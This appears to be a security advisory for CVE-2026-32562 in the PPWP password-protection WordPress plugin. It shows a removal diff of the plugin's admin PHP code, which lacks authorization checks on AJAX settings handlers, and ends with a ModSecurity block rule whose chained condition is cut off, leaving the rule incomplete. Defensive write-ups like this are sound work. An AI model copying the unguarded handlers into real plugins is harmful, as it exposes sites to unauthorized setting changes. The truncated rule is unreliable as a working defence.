-			$data = get_option( PPW_Tag_Service::OPTION_NAME, false );
-			if ( $data ) {
-				$data                           = json_decode( $data );
-				$data->ppwp_is_protect_tag = false;
-				update_option( PPW_Tag_Service::OPTION_NAME, wp_json_encode( $data ) );
-			} else {
-				update_option( PPW_Tag_Service::OPTION_NAME, wp_json_encode( array( 'ppwp_is_protect_tag' => false ) ) );
-			}
-
-			return wp_die( true );
-		}
-
-		$setting_keys = apply_filters(
-			'ppw_tag_keys',
-			array(
-				'ppwp_is_protect_tag',
-				'ppwp_tags_password',
-				'ppwp_protected_tags_selected',
-			)
-		);
-
-		$data_settings = apply_filters( 'ppw_tag_data_settings', wp_unslash( $_REQUEST['settings'] ), $setting_keys ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We no need to sanitize settings params.
-		if ( ppw_free_is_setting_data_invalid( $_REQUEST, $setting_keys, false ) ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		do_action( 'ppw_before_update_tag_settings', $setting_keys, $data_settings );
-
-		$passwords = PPW_Repository_Passwords::get_instance()->get_all_shared_tags_password();
-
-		// Add new shared password if password is not exist
-		// Update password if it is exist.
-		if ( count( $passwords ) > 0 ) {
-			$password_id = $passwords[0]->id;
-			PPW_Repository_Passwords::get_instance()->update_password(
-				$password_id,
-				array(
-					'password' => $data_settings['ppwp_tags_password'],
-				)
-			);
-		} else {
-			PPW_Repository_Passwords::get_instance()->add_new_password(
-				array(
-					'password'          => $data_settings['ppwp_tags_password'],
-					'post_id'           => 0,
-					'contact_id'        => 0,
-					'campaign_app_type' => PPW_Tag_Service::SHARED_TAG_TYPE,
-					'hits_count'        => 0,
-					'created_time'      => time(),
-				)
-			);
-		}
-
-		if( isset($data_settings['ppwp_protected_tags_selected']) && !empty($data_settings['ppwp_protected_tags_selected']) ){
-			//$all_post_ids=[];
-			$ppwp_tags_selected = $data_settings['ppwp_protected_tags_selected'];
-
-			$previously_selected_tags = get_option('ppwp_previous_protected_tags', array());
-
-
-    		$unselected_tags = array_diff($previously_selected_tags, $ppwp_tags_selected);
-
-			$args = array(
-			    'tag__in' => $ppwp_tags_selected,
-			    'fields' => 'ids',
-			    'posts_per_page' => -1,
-			);
-
-			$query = new WP_Query($args);
-
-			if ($query->have_posts()) {
-			      $all_post_ids = $query->posts;
-
-			        foreach ($all_post_ids as $post_id) {
-			        	if (class_exists('PPW_Pro_Password_Services')) {
-			        		$password_pro_service = new PPW_Pro_Password_Services();
-			        		if (!$password_pro_service->is_protected_content($post_id)) {
-				                $password_pro_service->protect_page_post($post_id);
-				            }
-			        	}else{
-			        		if (!$this->free_services->is_protected_content($post_id)) {
-				                $this->free_services->protect_page_post($post_id);
-				            }
-			        	}
-			        }
-
-			} else {
-			    echo 'No posts found in the selected categories.';
-			}
-
-
-			 // Unprotect posts in the unselected categories
-		    if (!empty($unselected_tags)) {
-		        $unprotect_args = array(
-		            'tag__in' => $unselected_tags,
-		            'fields' => 'ids',
-		            'posts_per_page' => -1,
-		        );
-
-		        $unprotect_query = new WP_Query($unprotect_args);
-		        if ($unprotect_query->have_posts()) {
-		            $unprotect_post_ids = $unprotect_query->posts;
-
-		            foreach ($unprotect_post_ids as $post_id) {
-		            	if (class_exists('PPW_Pro_Password_Services')) {
-			        		$password_pro_service = new PPW_Pro_Password_Services();
-			        		if ($password_pro_service->is_protected_content($post_id)) {
-				                $password_pro_service->un_protect_page_post($post_id);
-				            }
-			        	}else{
-			                if ($this->free_services->is_protected_content($post_id)) {
-			                    $this->free_services->unprotect_page_post($post_id);
-			                }
-		            	}
-		            }
-		        }
-		    }
-
-		    wp_reset_postdata();
-
-		    update_option('ppwp_previous_protected_tags', $ppwp_tags_selected);
-
-		}
-
-		unset( $data_settings['ppwp_tags_password'] );
-
-		update_option( PPW_Tag_Service::OPTION_NAME, wp_json_encode( $data_settings ), 'no' );
-
-		wp_die( true );
-	}
-
-	public function ppw_free_update_entire_site_settings() {
-		$request = wp_unslash( $_REQUEST );
-		if ( ppw_free_is_entire_site_settings_data_invalid( $request ) ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-
-		$nonce = $request['security_check'];
-		if ( ! wp_verify_nonce( $nonce, PPW_Constants::ENTIRE_SITE_FORM_NONCE ) ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-		$data_settings        = $request['settings'];
-		$entire_site_services = new PPW_Entire_Site_Services();
-		$entire_site_services->handle_before_update_settings( $data_settings );
-		wp_die( true );
-	}
-
-	/**
-	 * Feature entire site
-	 */
-	public function ppw_render_form_entire_site() {
-		if ( ppw_free_has_bypass_sitewide_protection() ) {
-			return;
-		}
-
-		$is_protect = ppw_core_get_setting_entire_site_type_bool( PPW_Constants::IS_PROTECT_ENTIRE_SITE );
-		if ( ! $is_protect ) {
-			return;
-		}
-
-		$is_render_form = apply_filters( PPW_Constants::HOOK_BEFORE_RENDER_FORM_ENTIRE_SITE, true );
-		if ( ! $is_render_form ) {
-			return;
-		}
-
-		$entire_site_service = new PPW_Entire_Site_Services();
-		if ( $entire_site_service->validate_auth_cookie_entire_site() ) {
-			return;
-		}
-
-		$password = ppw_core_get_setting_entire_site_type_string( PPW_Constants::PASSWORD_ENTIRE_SITE );
-		if ( empty( $password ) ) {
-			return;
-		}
-
-		do_action( 'ppw_sitewide_before_validate_password', $password );
-
-		$password_is_valid = $entire_site_service->entire_site_is_valid_password( $password );
-		if ( $password_is_valid ) {
-			$entire_site_service->entire_site_set_password_to_cookie( $password );
-//			$free_cache = new PPW_Cache_Services();
-//			$free_cache->clear_cache_super_cache();
-			$entire_site_service->entire_site_redirect_after_enter_password();
-			die();
-		}
-
-		include PPW_DIR_PATH . 'includes/views/entire-site/view-ppw-form-password.php';
-		die();
-	}
-
-	/**
-	 * Handle protected short code content.
-	 *
-	 * @return string
-	 */
-	public function handle_content_protect_short_code() {
-		$content = <<<_end_
-		<div>
-			This feature only runs on free
-		</div>
-_end_;
-
-		return $content;
-	}
-
-	/**
-	 * Handle admin init
-	 */
-	public function handle_admin_init() {
-		if ( is_pro_active_and_valid_license() || PPW_Options_Services::get_instance()->get_flag( PPW_Constants::MIGRATED_DEFAULT_PW ) ) {
-			return;
-		}
-		global $migration_free_service;
-		$migration_free_service->start_run();
-	}
-
-	/**
-	 * Handle rest API
-	 */
-	public function rest_api_init() {
-		$api = new PPW_Api();
-		$api->register_rest_routes();
-	}
-
-    public function exclude_protected_posts_from_api($args, $request) {
-   		//Get all the protected post ids
-   		if(is_admin() || is_user_logged_in() ){
-   			 return $args;
-   		}
-   		$protected_post_ids = $this->ppwp_get_all_protected_ids();
-   		if(!empty($protected_post_ids)){
-   			if (isset($args['post_type']) && $args['post_type'] === 'post') {
-
-		        $args['post__not_in'] = $protected_post_ids;
-		    }
-   		}
-
-
-	    return $args;
-    }
-
-
-	public function ppwp_restrict_rest_api_id( $result, $server, $request ) {
-
-	    if ( is_admin() || is_user_logged_in() ) {
-	        return $result;
-	    }
-
-	    $route = strtolower( $request->get_route() );
-
-		$validate = false;
-	    // Check for posts/pages endpoints
-		if (
-			strpos( $route, '/wp/v2/posts' ) !== false ||
-			strpos( $route, '/wp/v2/pages' ) !== false
-		) {
-			$validate = true;
-		}
-
-		$validate = apply_filters( 'ppwp_should_validate_rest_request', $validate, $route, $request );
-
-	    // Individual post/page check
-	    if (
-	        preg_match( '/^/wp/v2/posts/(d+)$/', $route, $matches ) ||
-	        preg_match( '/^/wp/v2/pages/(d+)$/', $route, $matches )
-	    ) {
-	        $post_id              = (int) $matches[1];
-	        $PPW_Password_Services = new PPW_Password_Services();
-	        $is_protected         = $PPW_Password_Services->is_protected_content( $post_id );
-	        $is_protected = apply_filters( 'ppwp_is_rest_protected_post', $is_protected, $post_id, $request );
-
-	        if ( $is_protected ) {
-	            return new WP_Error(
-	                'rest_forbidden',
-	                apply_filters(
-	                    'ppwp_rest_protected_post_message',
-	                    __( 'The content of this post is restricted and cannot be accessed.', 'password-protect-page' ),
-	                    $post_id
-	                ),
-	                array( 'status' => 403 )
-	            );
-	        }
-	    }
-
-	    // Sitewide protection
-	    $is_protect = false;
-	    $is_cookie_valid = false;
-
-	    if ( function_exists( 'is_pro_active_and_valid_license' ) && is_pro_active_and_valid_license() ) {
-	        //  Pro license check passed
-	        $is_protect = ppw_pro_get_setting_entire_site_type_bool( PPW_Constants::IS_PROTECT_ENTIRE_SITE );
-
-	        $entire_site_passwords = ppw_pro_get_setting_entire_site_type_array( PPW_Pro_Constants::PPW_PASSWORD_FOR_ENTIRE_SITE );
-	        $passwords = ppw_pro_get_string_key_in_array( $entire_site_passwords );
-
-	        $pro_setting_service = new PPW_Pro_Settings_Services();
-	        $is_cookie_valid     = $pro_setting_service->validate_auth_cookie_entire_site( $passwords );
-	    } else {
-	        //  Free version
-	        $entire_site_service = new PPW_Entire_Site_Services();
-	        $is_protect          = ppw_core_get_setting_entire_site_type_bool( PPW_Constants::IS_PROTECT_ENTIRE_SITE );
-	        $is_cookie_valid     = $entire_site_service->validate_auth_cookie_entire_site();
-	    }
-
-	    $is_protect = apply_filters( 'ppwp_is_rest_sitewide_protected', $is_protect, $request );
-
-	    if ( $validate && $is_protect && ! $is_cookie_valid ) {
-	        return new WP_Error(
-	            'rest_forbidden',
-	            apply_filters(
-	                'ppwp_rest_sitewide_protection_message',
-	                __( 'Access to the REST API is restricted due to sitewide protection.', 'password-protect-page' )
-	            ),
-	            array( 'status' => 401 )
-	        );
-	    }
-
-	    return $result;
-	}
-
-	public function ppwp_exclude_protected_items_from_qry( $query ) {
-	    global $post;
-
-	    if ( ! function_exists( 'is_user_logged_in' ) ) {
-	        require_once ABSPATH . 'wp-includes/pluggable.php';
-	    }
-
-	    if ( is_admin() || is_user_logged_in() ) {
-	        return;
-	    }
-
-	    $protected_post_ids = $this->ppwp_get_all_protected_ids();
-
-	    if ( ! empty( $protected_post_ids ) ) {
-	        if ( $query->is_search && $query->is_main_query() ) {
-	            $query->set( 'post__not_in', $protected_post_ids );
-	        }
-
-	        if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
-	            $query->set( 'post__not_in', $protected_post_ids );
-	        }
-	    }
-
-	    if ( ! is_admin() && $query->is_main_query() ) {
-	        if ( $post && post_password_required( $post->ID ) ) {
-	            $meta_query = $query->get( 'meta_query', [] );
-
-	            $meta_query[] = [
-	                'key'     => PPW_Constants::GLOBAL_PASSWORDS,
-	                'compare' => 'NOT EXISTS',
-	            ];
-
-	            $query->set( 'meta_query', $meta_query );
-	        }
-	    }
-
-	    if ( defined( 'REST_REQUEST' ) && REST_REQUEST && isset( $query->query_vars['s'] ) ) {
-	        $meta_query = $query->get( 'meta_query', [] );
-
-	        $meta_query[] = [
-	            'key'     => PPW_Constants::GLOBAL_PASSWORDS,
-	            'compare' => 'NOT EXISTS',
-	        ];
-
-	        $query->set( 'meta_query', $meta_query );
-	    }
-	}
-
-
-    public function ppwp_get_all_protected_ids() {
-    	global $wpdb;
-
-		$query = $wpdb->prepare(
-		        "SELECT DISTINCT post_id
-		         FROM {$wpdb->postmeta}
-		         WHERE meta_key = %s",
-		         PPW_Constants::GLOBAL_PASSWORDS
-		    );
-
-		$results = $wpdb->get_col($query);
-
-		if ($results === null || empty($results)) {
-
-		    return [];
-		}
-
-		return $results;
-    }
-
-	/**
-	 * Set post pass cookie to prevent cache.
-	 *
-	 * @param object $post The post data.
-	 * @param string $pass The password.
-	 */
-	public function set_postpass_cookie_to_prevent_cache( $post, $pass ) {
-		$free_service = new PPW_Password_Services();
-		$free_service->set_password_to_cookie( $pass . $post->ID, PPW_Constants::WP_POST_PASS );
-	}
-
-	/**
-	 * Handle a post requires the user to supply a password.
-	 *
-	 * @param bool    $required Whether the user needs to supply a password. True if password has not been
-	 *                          provided or is incorrect, false if password has been supplied or is not required.
-	 * @param WP_Post $post     Post data.
-	 *
-	 * @return bool  A post requires the user to supply a password.
-	 */
-	public function ppw_handle_post_password_required( $required, $post ) {
-		if ( empty( $post->ID ) ) {
-			return $required;
-		}
-
-		if ( empty( $post->post_type ) || ! ppw_is_post_type_selected_in_setting( $post->post_type ) ) {
-			return $required;
-		}
-
-		if ( ppw_free_has_bypass_single_protection() ) {
-			return $required;
-		}
-
-		return $this->free_services->is_valid_permission( $required, $post->ID );
-	}
-
-	/**
-	 * Handle content shortcode for multiple pages.
-	 *
-	 * @param string $content The post content.
-	 * @param object $post    The post data.
-	 * @param array  $data    Data from client.
-	 *
-	 * @return bool|string
-	 */
-	public function handle_content_shortcode_for_multiple_pages( $content, $post, $data ) {
-		if ( ! empty( $data['formType'] ) ) {
-			return $content;
-		}
-
-		return PPW_Shortcode::get_instance()->get_content_by_page_number( $post, $data['page'] );
-	}
-
-	/**
-	 * Create passwords table when PPWP Pro is not activated.
-	 */
-	public function handle_admin_init_when_pro_is_not_activate() {
-		PPW_Repository_Passwords::get_instance()->install();
-	}
-
-	/**
-	 * Handle post password required from Pro version.
-	 *
-	 * @param array  $protection_data Protection data.
-	 * @param string $post_id         Post ID.
-	 *
-	 * @return array Protection data after checked.
-	 */
-	public function ppwp_post_password_required( $protection_data, $post_id ) {
-		if ( ! isset( $protection_data['is_post_protected'] ) || ! isset( $protection_data['is_content_unlocked'] ) ) {
-			return $protection_data;
-		}
-
-		if ( true !== $protection_data['is_post_protected'] ) {
-			return $protection_data;
-		}
-
-		if ( false === $protection_data['is_content_unlocked'] ) {
-			$protection_data['is_content_unlocked'] = $this->free_services->check_master_password_is_valid( $post_id );
-		}
-
-		return $protection_data;
-	}
-
-	/**
-	 * Update label and post types column for PPWP Pro.
-	 */
-	public function update_column_for_ppwp_pro() {
-		PPW_Repository_Passwords::get_instance()->update_label_and_post_types_column();
-	}
-
-	/**
-	 * Handle subscriber request
-	 */
-	public function handle_subscribe_request() {
-		if ( ppw_free_is_setting_keys_and_nonce_invalid( $_REQUEST, PPW_Constants::SUBSCRIBE_FORM_NONCE ) || ! isset( $_REQUEST['settings']['ppw_email'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We already verify nonce in this function.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-		$request = wp_unslash( $_REQUEST ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We already verify nonce in above.
-		$result  = $this->subscribe_services->handle_subscribe_request( $request['settings']['ppw_email'] );
-		wp_send_json(
-			array(
-				'is_error' => isset( $result['error_message'] ) ? true : false,
-				'message'  => isset( $result['error_message'] ) ? $result['error_message'] : '',
-			),
-			isset( $result['error_message'] ) ? 400 : 200
-		);
-		wp_die();
-	}
-
-	/*
-	 * Handle plugin loaded
-	 */
-	public function handle_plugin_loaded() {
-		if ( ! defined( 'PPW_PRO_VERSION' ) ) {
-			return;
-		}
-		if ( version_compare( PPW_PRO_VERSION, '1.1.5.1', '>=' ) ) {
-			add_action( 'ppwp_post_password_required', array( $this, 'ppwp_post_password_required' ), 5, 2 );
-		}
-	}
-
-	/**
-	 * Handle admin notices.
-	 */
-	public function handle_admin_notices() {
-		if ( ! function_exists( 'get_current_screen' ) ) {
-			return;
-		}
-
-		$screen_display = array(
-			'post',
-			'edit-post',
-			'toplevel_page_wp_protect_password_options',
-			'plugins',
-		);
-		if ( ! in_array( get_current_screen()->id, $screen_display, true ) ) {
-			return;
-		}
-		$class   = 'notice notice-warning';
-		$message = 'Please update Password Protect WordPress Pro to version 1.1.5.1 in order for Master Passwords to work properly.';
-		if ( defined( 'PPW_PRO_VERSION' ) && version_compare( PPW_PRO_VERSION, '1.1.5.1', '<' ) ) {
-			printf( '<div class="%1$s"><p><b>Password Protect WordPress: </b>%2$s</p></div>', esc_attr( $class ), esc_html( $message ) );
-		}
-	}
-
-	public function add_custom_column( $columns ) {
-		global $post_status;
-
-		if ( 'trash' === $post_status ) {
-			return $columns;
-		}
-
-		$columns[ PPW_Constants::CUSTOM_TABLE_COLUMN_NAME ] = PPW_Constants::CUSTOM_TABLE_COLUMN_TITLE;
-
-		return $columns;
-	}
-
-	public function render_content_custom_column ( $column, $post_id ) {
-		if ( PPW_Constants::CUSTOM_TABLE_COLUMN_NAME === $column ) {
-			include PPW_DIR_PATH . 'includes/views/column/view-ppw-column.php';
-		}
-	}
-
-	/**
-	 * Restore WP Passwords.
-	 */
-	public function ppw_free_restore_wp_passwords() {
-		if ( ! isset( $_POST['security_check'] ) ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-		}
-		check_ajax_referer( PPW_Constants::GENERAL_FORM_NONCE, 'security_check' );
-
-		global $password_recovery_service;
-		$password_recovery_service->start_run();
-
-		wp_send_json(
-			array(
-				'is_error' => false,
-				'message'  => 'Start restoring backup passwords successfully.',
-			),
-			200
-		);
-	}
-
-	/**
-	 * Filters the array of row meta for each plugin in the Plugins list table.
-	 *
-	 * @param array  $plugin_meta An array of the plugin's metadata, including the version, author, author URI, and plugin URI.
-	 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
-	 *
-	 * @return array
-	 */
-	public function register_plugins_links( $plugin_meta, $plugin_file ) {
-		if ( PPW_PLUGIN_BASE_NAME === $plugin_file ) {
-			$misc_setting = admin_url( 'admin.php?page=wp_protect_password_options&tab=misc' );
-			$plugin_meta[] = '<a href="' . $misc_setting . '">' . __( 'Restore passwords', PPW_Constants::DOMAIN ) . '</span>';
-		}
-
-		return $plugin_meta;
-	}
-
-
-	/**
-	 * Render custom description below password form
-	 *
-	 * @param $password_form
-	 *
-	 * @return string
-	 */
-	public function render_custom_below_description( $password_form ) {
-		$below_desc = wp_kses_post( get_theme_mod( 'ppwp_form_instructions_below_text' ) );
-
-		$password_form .= sprintf('<div class="ppw-ppf-desc-below">%s</div>', $below_desc);
-
-		return $password_form;
-	}
-
-	public function handle_plugin_links( $links ) {
-		$setting_url = esc_url( admin_url( 'admin.php?page=' . PPW_Constants::MENU_NAME ) );
-		$plugin_link = '<a href="' . $setting_url . '">' . __( 'Settings', PPW_Constants::DOMAIN ) . '</a>';
-		array_unshift( $links, $plugin_link );
-
-		return $links;
-	}
-
-	public function ppw_sitewide_countdown() {
-		$is_show_countdown   = get_theme_mod( 'ppwp_sitewide_is_shown_countdown', '' );
-		if ( $is_show_countdown || $is_show_countdown === '' ) {
-			include PPW_DIR_PATH . 'includes/views/entire-site/view-ppw-countdown.php';
-		}
-	}
-
-	public function ppw_sitewide_hide_password_form () {
-		$enable_form   		 = get_theme_mod( 'ppwp_hide_sitewide_password_form' );
-		if ( $enable_form ) {
-			?>
-				.ppw-swp-form {
-					display: none !important;
-				}
-				.pda-form-login form {
-					display: none !important;
-				}
-			<?php
-		}
-	}
-
-	public function ppw_customizer_custom_fields ($wp_customize) {
-		if ( ! class_exists( 'PPW_Datetime_Control' ) ) {
-			include PPW_DIR_PATH . 'includes/customizers/class-ppw-datetime.php';
-		}
-
-		$wp_customize->register_control_type( 'PPW_Datetime_Control' );
-
-		/* hide password form */
-		$wp_customize->add_setting( 'ppwp_hide_sitewide_password_form' );
-		$wp_customize->add_control(
-			new PPW_Toggle_Control(
-				$wp_customize,
-				'ppwp_hide_sitewide_password_form_control', array(
-				'label'       => __( 'Disable Password Form', PPW_Constants::DOMAIN ),
-				'section'     => 'ppwp_pro_form_instructions',
-				'type'        => 'toggle',
-				'settings'    => 'ppwp_hide_sitewide_password_form',
-			) )
-		);
-
-		/* countdown section group */
-		$wp_customize->add_setting( 'ppwp_sitewide_countdown' );
-		$wp_customize->add_control(
-			new PPW_Title_Group_Control(
-				$wp_customize,
-				'ppwp_sitewide_countdown', array(
-				'label'			=> __( 'COUNTDOWN TIMER', PPW_Constants::DOMAIN ),
-				'section'  		=> 'ppwp_sitewide_countdown',
-				'settings' 		=> 'ppwp_sitewide_countdown',
-				'type'     		=> 'control_title',
-			) )
-		);
-
-		$wp_customize->add_section( 'ppwp_sitewide_countdown', array(
-			'title'    => __( 'Countdown Timer', PPW_Constants::DOMAIN ),
-			'panel'    => 'ppwp_sitewide',
-			'priority' => 500,
-		) );
-
-		$wp_customize->add_setting( 'ppwp_sitewide_is_shown_countdown', array(
-			'default' => 0,
-		) );
-
-		$wp_customize->add_control(
-			new PPW_Toggle_Control(
-				$wp_customize,
-				'ppwp_sitewide_is_shown_countdown', array(
-				'label'       => __( 'Enable Countdown Timer', PPW_Constants::DOMAIN ),
-				'section'     => 'ppwp_sitewide_countdown',
-				'type'        => 'toggle',
-				'description'  => __( 'Time zone: '.ppw_get_utc(), PPW_Constants::DOMAIN ),
-				'settings'    => 'ppwp_sitewide_is_shown_countdown',
-			))
-		);
-
-		// $wp_customize->add_setting( 'ppwp_sitewide_is_show_day', array(
-		// 	'default' => 0,
-		// ) );
-
-		// $wp_customize->add_control(
-		// 	new PPW_Toggle_Control(
-		// 		$wp_customize,
-		// 		'ppwp_sitewide_is_show_day', array(
-		// 		'label'       => __( 'Show Day in Countdown', PPW_Constants::DOMAIN ),
-		// 		'section'     => 'ppwp_sitewide_countdown',
-		// 		'type'        => 'toggle',
-		// 		'settings'    => 'ppwp_sitewide_is_show_day',
-		// 	))
-		// );
-
-		$date = current_time( 'timestamp' );
-		$wp_customize->add_setting( 'ppwp_sitewide_start_time', array(
-			'default' => '',
-			'min'     => date('Y-m-dTH:i', $date),
-		) );
-
-		$wp_customize->add_control(
-			new PPW_Datetime_Control(
-				$wp_customize,
-				'ppwp_sitewide_start_time', array(
-				'label'       => __( 'Start Time (Optional)', PPW_Constants::DOMAIN ),
-				'section'     => 'ppwp_sitewide_countdown',
-				'type'        => 'datetime',
-				'settings'    => 'ppwp_sitewide_start_time',
-			))
-		);
-
-		$start_date 		= get_theme_mod( 'ppwp_sitewide_start_time', '' ) ? get_theme_mod( 'ppwp_sitewide_start_time' ) : date('Y-m-dTH:i', $date);
-
-		$wp_customize->add_setting( 'ppwp_sitewide_end_time', array(
-			'default' => $start_date,
-			'min'     => $start_date,
-		) );
-
-		$wp_customize->add_control(
-			new PPW_Datetime_Control(
-				$wp_customize,
-				'ppwp_sitewide_end_time', array(
-				'label'       => __( 'End Time', PPW_Constants::DOMAIN ),
-				'section'     => 'ppwp_sitewide_countdown',
-				'type'        => 'datetime',
-				'settings'    => 'ppwp_sitewide_end_time',
-			))
-		);
-
-		/* time unit section group */
-		$wp_customize->add_setting( 'ppwp_countdown_time_unit' );
-		$wp_customize->add_control(
-			new PPW_Title_Group_Control(
-				$wp_customize,
-				'ppwp_countdown_time_unit', array(
-				'label'			=> __( 'COUNTDOWN TIMER STYLES', PPW_Constants::DOMAIN ),
-				'section'  		=> 'ppwp_sitewide_countdown',
-				'settings' 		=> 'ppwp_countdown_time_unit',
-				'type'     		=> 'control_title',
-			) )
-		);
-
-		$wp_customize->add_setting( 'ppwp_countdown_day_text', array(
-			'default' => __( 'Days', PPW_Constants::DOMAIN ),
-		) );
-		$wp_customize->add_control( 'ppwp_countdown_day_text', array(
-			'label'    => __( 'Days Label', PPW_Constants::DOMAIN ),
-			'section'  => 'ppwp_sitewide_countdown',
-			'settings' => 'ppwp_countdown_day_text',
-			'type'     => 'text',
-		) );
-
-		$wp_customize->add_setting( 'ppwp_countdown_hour_text', array(
-			'default' => __( 'Hours ', PPW_Constants::DOMAIN ),
-		) );
-		$wp_customize->add_control( 'ppwp_countdown_hour_text', array(
-			'label'    => __( 'Hours Label', PPW_Constants::DOMAIN ),
-			'section'  => 'ppwp_sitewide_countdown',
-			'settings' => 'ppwp_countdown_hour_text',
-			'type'     => 'text',
-		) );
-
-		$wp_customize->add_setting( 'ppwp_countdown_minute_text', array(
-			'default' => __( 'Minutes', PPW_Constants::DOMAIN ),
-		) );
-		$wp_customize->add_control( 'ppwp_countdown_minute_text', array(
-			'label'    => __( 'Minutes Label', PPW_Constants::DOMAIN ),
-			'section'  => 'ppwp_sitewide_countdown',
-			'settings' => 'ppwp_countdown_minute_text',
-			'type'     => 'text',
-		) );
-
-		$wp_customize->add_setting( 'ppwp_countdown_second_text', array(
-			'default' => __( 'Seconds', PPW_Constants::DOMAIN ),
-		) );
-		$wp_customize->add_control( 'ppwp_countdown_second_text', array(
-			'label'    => __( 'Seconds Label', PPW_Constants::DOMAIN ),
-			'section'  => 'ppwp_sitewide_countdown',
-			'settings' => 'ppwp_countdown_second_text',
-			'type'     => 'text',
-		) );
-
-		/* coutdown font size */
-		$wp_customize->add_setting( 'ppwp_countdown_font_size' );
-		$wp_customize->add_control( 'ppwp_countdown_font_size_control', array(
-			'label'			=> __( 'Font Size', PPW_Constants::DOMAIN ),
-			'section'  		=> 'ppwp_sitewide_countdown',
-			'settings' 		=> 'ppwp_countdown_font_size',
-			'description'	=> 'Font size in px',
-			'type'     		=> 'number',
-		) );
-
-		/* password form background color */
-		$wp_customize->add_setting( 'ppwp_countdown_text_color', array(
-			'default' => '',
-		) );
-
-		$wp_customize->add_control(
-			new WP_Customize_Color_Control(
-				$wp_customize,
-				'ppwp_countdown_text_color_control', array(
-				'label'    => __( 'Text Color', PPW_Constants::DOMAIN ),
-				'section'  => 'ppwp_sitewide_countdown',
-				'settings' => 'ppwp_countdown_text_color',
-			) )
-		);
-
-		/* descript section group */
-		$wp_customize->add_setting( 'ppwp_sitewide_above_countdown_text' );
-		$wp_customize->add_control(
-			new PPW_Title_Group_Control(
-				$wp_customize,
-				'ppwp_sitewide_above_countdown_text', array(
-				'label'			=> __( 'DESCRIPTION ABOVE TIMER', PPW_Constants::DOMAIN ),
-				'section'  		=> 'ppwp_sitewide_countdown',
-				'settings' 		=> 'ppwp_sitewide_above_countdown_text',
-				'type'     		=> 'control_title',
-			) )
-		);
-
-		/* Text above sitewide */
-		$wp_customize->add_setting( 'ppwp_sitewide_above_countdown', array(
-			'default' => __( '', PPW_Constants::DOMAIN ),
-		) );
-		$wp_customize->add_control(
-			new PPW_Text_Editor_Custom_Control(
-				$wp_customize,
-				'ppwp_sitewide_above_countdown',
-				array(
-					'label'    => __( 'Description', PPW_Constants::DOMAIN ),
-					'section'  => 'ppwp_sitewide_countdown',
-					'settings' => 'ppwp_sitewide_above_countdown',
-					'type'     => 'textarea',
-				)
-			)
-		);
-
-		/* Text below font size */
-		$wp_customize->add_setting( 'ppwp_text_above_font_size' );
-		$wp_customize->add_control( 'ppwp_text_above_font_size_control', array(
-			'label'			=> __( 'Font Size', PPW_Constants::DOMAIN ),
-			'section'  		=> 'ppwp_sitewide_countdown',
-			'settings' 		=> 'ppwp_text_above_font_size',
-			'description'	=> 'Font size in px',
-			'type'     		=> 'number',
-		) );
-
-		/* Text above background color */
-		$wp_customize->add_setting( 'ppwp_text_above_color', array(
-			'default' => '',
-		) );
-
-		$wp_customize->add_control(
-			new WP_Customize_Color_Control(
-				$wp_customize,
-				'ppwp_text_above_color_control', array(
-				'label'    => __( 'Text Color', PPW_Constants::DOMAIN ),
-				'section'  => 'ppwp_sitewide_countdown',
-				'settings' => 'ppwp_text_above_color',
-			) )
-		);
-
-		/* descript section group */
-		$wp_customize->add_setting( 'ppwp_sitewide_below_countdown_text' );
-		$wp_customize->add_control(
-			new PPW_Title_Group_Control(
-				$wp_customize,
-				'ppwp_sitewide_below_countdown_text', array(
-				'label'			=> __( 'DESCRIPTION BELOW TIMER', PPW_Constants::DOMAIN ),
-				'section'  		=> 'ppwp_sitewide_countdown',
-				'settings' 		=> 'ppwp_sitewide_below_countdown_text',
-				'type'     		=> 'control_title',
-			) )
-		);
-
-		/* Text below sitewide */
-		$wp_customize->add_setting( 'ppwp_sitewide_below_countdown', array(
-			'default' => __( '', PPW_Constants::DOMAIN ),
-		) );
-		$wp_customize->add_control(
-			new PPW_Text_Editor_Custom_Control(
-				$wp_customize,
-				'ppwp_sitewide_below_countdown',
-				array(
-					'label'    => __( 'Description', PPW_Constants::DOMAIN ),
-					'section'  => 'ppwp_sitewide_countdown',
-					'settings' => 'ppwp_sitewide_below_countdown',
-					'type'     => 'textarea',
-				)
-			)
-		);
-
-		/* Text below font size */
-		$wp_customize->add_setting( 'ppwp_text_below_font_size' );
-		$wp_customize->add_control( 'ppwp_text_below_font_size_control', array(
-			'label'			=> __( 'Font Size', PPW_Constants::DOMAIN ),
-			'section'  		=> 'ppwp_sitewide_countdown',
-			'settings' 		=> 'ppwp_text_below_font_size',
-			'description'	=> 'Font size in px',
-			'type'     		=> 'number',
-		) );
-
-		/* Text below background color */
-		$wp_customize->add_setting( 'ppwp_text_below_color', array(
-			'default' => '',
-		) );
-
-		$wp_customize->add_control(
-			new WP_Customize_Color_Control(
-				$wp_customize,
-				'ppwp_text_below_color_control', array(
-				'label' 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32562
# This rule blocks exploitation of the missing authorization flaw in PPWP plugin's category update AJAX handler.
# It matches the specific AJAX action and verifies the user lacks the required 'manage_options' capability.
# The rule uses chained conditions for precision: target the AJAX endpoint, the specific action, and block non-admin users.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:100032562,phase:2,deny,status:403,chain,msg:'CVE-2026-32562 - Unauthorized PPWP Category Settings Update Attempt',severity:'CRITICAL',tag:'CVE-2026-32562',tag:'WordPress',tag:'Plugin/PPWP'"
